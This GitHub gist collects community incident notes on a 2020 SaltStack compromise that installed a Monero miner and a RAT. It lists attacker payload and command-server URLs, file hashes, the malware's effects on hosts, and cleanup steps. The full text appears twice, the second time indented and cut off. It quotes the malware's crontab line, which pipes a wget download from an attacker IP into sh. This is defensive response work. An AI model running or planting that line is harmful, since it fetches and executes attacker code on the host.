cachedout/gist:2950de63aa102ec9ccb895deea1aa539

## gistfile1.txt
## Overview

What we know so far:
Source: https://github.com/saltstack/salt/issues/57057
Payload distribution point: https://bitbucket.org/samk12dd/git/src/master/ --update: now defunct
Updated payload distrib URL: http://413628.selcdn.ru/cdn/salt-storer
Bootloader distribution link: http://89.223.121.139/sa.sh
backup CNC command source: http://54.36.185.99/c.sh
This is a crypto-mining operation. salt-minions is a compiled xmrig binary (https://github.com/xmrig/xmrig).
salt-store contains a RAT, nspps (https://ironnet.com/blog/malware-analysis-nspps-a-go-rat-backdoor/).
For this reason, salt-store is more concerning than salt-minions.
Atlassian has been notified. They have not yet responded. Update: the original repo is now down! Be on the lookout for a new one!
Version 1 of the virus was not persistent after deleting /var/tmp/salt-store and /tmp/salt-minions
There have been 4 versions of the virus so far, and the virus has auto-update capabilities. It seems to check for updates regularly. Updating you salt-master won't prevent this, as the binary can update itself.
6:30 pm PST, 4:15 am PST, 6:07 am PST, 6:11 am PST were the different updates pushed. I am "watching" the repo, and have emails confirming these timestamps. A screenshot was posted to the github link. All commits were force-pushed, so it looks like there is only one.
Version 1 of salt-store has the following md5sum: 8ec3385e20d6d9a88bc95831783beaeb
Version 1 is not persistent. This does not mean all you have to do is delete the two mentions files above.
Update: Version 4 is persistent! Look at your crontabs!
The crontab job performed in version 3/4 does not yet do much. It looks like a placeholder for when the virus will do something nastier later. But keep in mind, this script can (and likely will) be updated at any point and will run arbitrary shell scripts.
Also check additional pinned messages.
IMMEDIATELY update your salt master. And don't forget to restart it too!  See the GH issue for more details there.
The virus is a sledgehammer. It tears down anything remotely CPU-intensive so it can suck out  all your compute resources for that sweet, sweet monero.
This includes, but it not limited to:
confluence
webservers
Some cloud platform services
All docker containers
Any other mining software
databases (i.e. redis)
There are additional system side-effects. It disables SELinux, enables hugepages, turns off all firewalls, disable AppArmor, disables the nmi watchdog; basically, it turns your machine into a dedicated mining rig.
You will need to determine what else besides updating the master and deleting the binaries you need to fix for your own systems.
The virus may also take over your redis database and use it to replicate the attacker's data. Please check your databases' integrity!
The full shell script is in virus.zip below, named "sa.txt"
However, it doesn't seem to do much else. (finally, some good news!)
What have I done to keep claiming v1 is not persistent?
Run it in a container and viewed all modified files, no persistence I could see
Checked file modification timestamps on the rootfs (ext4 fs) not entirely reliable, you can cover your tracks with touch, but just in case it didn't
diffed my /etc folder (I have etckeeper installed) and saw only selinux was changed
Checked installed systemd units
checked crontab
checked my kernel wasn't patched
If you can think of any other tests, or have run any other tests yourself, feel free to start a thread on this message. I will update it.
Additionally, I had resolved this issue hours and hours ago. Other users, including @Daniel and @Justin Black confirm they have not seen any recurrences.
I'm seeing this event as a nice big vaccine. A little pinch at the beginning, but nothing really bad happened. (Ok, it was bad. But would you rather they have taken customer data and/or your private keys?)
HOWEVER, TO REITERATE:
Take additional precautions if you did not manage to kill and remove the salt-store(r) binary before 4:15AM PST, May 3rd. I have not run the above tests on any versions past v1, as my issue was already resolved.
I have included copies of the virus and the script used in the exploit below. Again, note this is v1. v4 is live now.
As per Exordian on Github, some official repos do not yet have the fix upstream for salt-master. You may want to look into using saltstack's repos instead of your distro's.
I will continue to edit this message with new information. (edited)

## Docker not updated

https://hub.docker.com/r/saltstack/salt/tags
The latest bugfix hasn't been built on Docker Hub in the official channels. When will this be done? I find it somewhat ridiculous that people are chiding some for not updating systems when 3000.2 isn't even available through some official channels. Looks like someone dropped a ball or two.
Maybe @Gareth J. Greenaway can help get the right people looking at this?

## POCs in the wild

Be advised: POCs are now in the wild. These attacks will probably start morphing into something more serious very quickly. (edited)

## Unofficial check

there is unofficial CVE check on https://github.com/rossengeorgiev/salt-security-backports, so you could use that one to verify your patches are working

## V4 details

I think we were hacked by V4 (according to Beza's notes) of /var/tmp/salt-store: checksum 2c5cbc18d1796fd64f377c43175e79a3. (I'm just remembering the "a3" at the end and that it wasn't the V1 I read about at https://github.com/saltstack/salt/issues/57057; I lost the note in my maze of shells).
In our case it was persistent, so the following (killing+deleting salt-store and salt-minions) was not enough:
ps aux | grep -e "/var/tmp/salt-store\|salt-minions" | grep -v grep | tr -s " " | cut -d " " -f 2 | xargs kill -9
 rm -f /tmp/salt-minions
 rm -f /var/tmp/salt-store
We did delete the crontab entry:
* * * * * wget -q -O - http://54.36.185.99/c.sh | sh > /dev/null 2>&1
The last detail was to kill a process called "NXiQS" (fairly sure it's randomly named). This was re-creating the whole thing. When we killed that the salt-minions stopped spawning. We also had files it /tmp/.ICEd-unix/ which seemed to have uuid's which may well have been the way you could "find" the NXiQS process.
The sticky post says "What have I done to keep claiming v1 is not persistent?". I recommend it be updated to include the additional notes about how sticky "V4" is.
Apologies if I'm posting this in completely the wrong place. I'm new here.

## Persistance mechanism

Not sure which version it is, but after V1 they got "smart" and added in a persistence mechanism to bring it back.   The persistence mechanism for V1 was simply the salt-store, but nothing beyond that.

## Virus dump

This is the initial version of the payload if anybody wishes to help debug the virus.
See: https://github.com/saltstack/salt/issues/57057#issuecomment-623061004
Do not run it on your host directly. IF YOU DO THIS YOU ARE AN IDIOT AND I AM NOT RESPONSIBLE! Zip file contains the following:
salt-store (v1)
salt-minions (v1)
dockerfile and hello.sh mentioned in my github post
A copy of the initial bitbucket repo (before he/she/they force-pushed 3 updates on top of it)
sa.txt (initial script run by salt vector to install the RAT + miner)
Binaries inside have been made non-executable to prevent accidental running. (edited)

(zi
	## Overview

	What we know so far:
	Source: https://github.com/saltstack/salt/issues/57057
	Payload distribution point: https://bitbucket.org/samk12dd/git/src/master/ --update: now defunct
	Updated payload distrib URL: http://413628.selcdn.ru/cdn/salt-storer
	Bootloader distribution link: http://89.223.121.139/sa.sh
	backup CNC command source: http://54.36.185.99/c.sh
	This is a crypto-mining operation. salt-minions is a compiled xmrig binary (https://github.com/xmrig/xmrig).
	salt-store contains a RAT, nspps (https://ironnet.com/blog/malware-analysis-nspps-a-go-rat-backdoor/).
	For this reason, salt-store is more concerning than salt-minions.
	Atlassian has been notified. They have not yet responded. Update: the original repo is now down! Be on the lookout for a new one!
	Version 1 of the virus was not persistent after deleting /var/tmp/salt-store and /tmp/salt-minions
	There have been 4 versions of the virus so far, and the virus has auto-update capabilities. It seems to check for updates regularly. Updating you salt-master won't prevent this, as the binary can update itself.
	6:30 pm PST, 4:15 am PST, 6:07 am PST, 6:11 am PST were the different updates pushed. I am "watching" the repo, and have emails confirming these timestamps. A screenshot was posted to the github link. All commits were force-pushed, so it looks like there is only one.
	Version 1 of salt-store has the following md5sum: 8ec3385e20d6d9a88bc95831783beaeb
	Version 1 is not persistent. This does not mean all you have to do is delete the two mentions files above.
	Update: Version 4 is persistent! Look at your crontabs!
	The crontab job performed in version 3/4 does not yet do much. It looks like a placeholder for when the virus will do something nastier later. But keep in mind, this script can (and likely will) be updated at any point and will run arbitrary shell scripts.
	Also check additional pinned messages.
	IMMEDIATELY update your salt master. And don't forget to restart it too! See the GH issue for more details there.
	The virus is a sledgehammer. It tears down anything remotely CPU-intensive so it can suck out all your compute resources for that sweet, sweet monero.
	This includes, but it not limited to:
	confluence
	webservers
	Some cloud platform services
	All docker containers
	Any other mining software
	databases (i.e. redis)
	There are additional system side-effects. It disables SELinux, enables hugepages, turns off all firewalls, disable AppArmor, disables the nmi watchdog; basically, it turns your machine into a dedicated mining rig.
	You will need to determine what else besides updating the master and deleting the binaries you need to fix for your own systems.
	The virus may also take over your redis database and use it to replicate the attacker's data. Please check your databases' integrity!
	The full shell script is in virus.zip below, named "sa.txt"
	However, it doesn't seem to do much else. (finally, some good news!)
	What have I done to keep claiming v1 is not persistent?
	Run it in a container and viewed all modified files, no persistence I could see
	Checked file modification timestamps on the rootfs (ext4 fs) not entirely reliable, you can cover your tracks with touch, but just in case it didn't
	diffed my /etc folder (I have etckeeper installed) and saw only selinux was changed
	Checked installed systemd units
	checked crontab
	checked my kernel wasn't patched
	If you can think of any other tests, or have run any other tests yourself, feel free to start a thread on this message. I will update it.
	Additionally, I had resolved this issue hours and hours ago. Other users, including @Daniel and @Justin Black confirm they have not seen any recurrences.
	I'm seeing this event as a nice big vaccine. A little pinch at the beginning, but nothing really bad happened. (Ok, it was bad. But would you rather they have taken customer data and/or your private keys?)
	HOWEVER, TO REITERATE:
	Take additional precautions if you did not manage to kill and remove the salt-store(r) binary before 4:15AM PST, May 3rd. I have not run the above tests on any versions past v1, as my issue was already resolved.
	I have included copies of the virus and the script used in the exploit below. Again, note this is v1. v4 is live now.
	As per Exordian on Github, some official repos do not yet have the fix upstream for salt-master. You may want to look into using saltstack's repos instead of your distro's.
	I will continue to edit this message with new information. (edited)

	## Docker not updated

	https://hub.docker.com/r/saltstack/salt/tags
	The latest bugfix hasn't been built on Docker Hub in the official channels. When will this be done? I find it somewhat ridiculous that people are chiding some for not updating systems when 3000.2 isn't even available through some official channels. Looks like someone dropped a ball or two.
	Maybe @Gareth J. Greenaway can help get the right people looking at this?

	## POCs in the wild

	Be advised: POCs are now in the wild. These attacks will probably start morphing into something more serious very quickly. (edited)

	## Unofficial check

	there is unofficial CVE check on https://github.com/rossengeorgiev/salt-security-backports, so you could use that one to verify your patches are working

	## V4 details

	I think we were hacked by V4 (according to Beza's notes) of /var/tmp/salt-store: checksum 2c5cbc18d1796fd64f377c43175e79a3. (I'm just remembering the "a3" at the end and that it wasn't the V1 I read about at https://github.com/saltstack/salt/issues/57057; I lost the note in my maze of shells).
	In our case it was persistent, so the following (killing+deleting salt-store and salt-minions) was not enough:
	ps aux \| grep -e "/var/tmp/salt-store\\|salt-minions" \| grep -v grep \| tr -s " " \| cut -d " " -f 2 \| xargs kill -9
	rm -f /tmp/salt-minions
	rm -f /var/tmp/salt-store
	We did delete the crontab entry:
	* * * * * wget -q -O - http://54.36.185.99/c.sh \| sh > /dev/null 2>&1
	The last detail was to kill a process called "NXiQS" (fairly sure it's randomly named). This was re-creating the whole thing. When we killed that the salt-minions stopped spawning. We also had files it /tmp/.ICEd-unix/ which seemed to have uuid's which may well have been the way you could "find" the NXiQS process.
	The sticky post says "What have I done to keep claiming v1 is not persistent?". I recommend it be updated to include the additional notes about how sticky "V4" is.
	Apologies if I'm posting this in completely the wrong place. I'm new here.

	## Persistance mechanism

	Not sure which version it is, but after V1 they got "smart" and added in a persistence mechanism to bring it back. The persistence mechanism for V1 was simply the salt-store, but nothing beyond that.

	## Virus dump

	This is the initial version of the payload if anybody wishes to help debug the virus.
	See: https://github.com/saltstack/salt/issues/57057#issuecomment-623061004
	Do not run it on your host directly. IF YOU DO THIS YOU ARE AN IDIOT AND I AM NOT RESPONSIBLE! Zip file contains the following:
	salt-store (v1)
	salt-minions (v1)
	dockerfile and hello.sh mentioned in my github post
	A copy of the initial bitbucket repo (before he/she/they force-pushed 3 updates on top of it)
	sa.txt (initial script run by salt vector to install the RAT + miner)
	Binaries inside have been made non-executable to prevent accidental running. (edited)

	(zi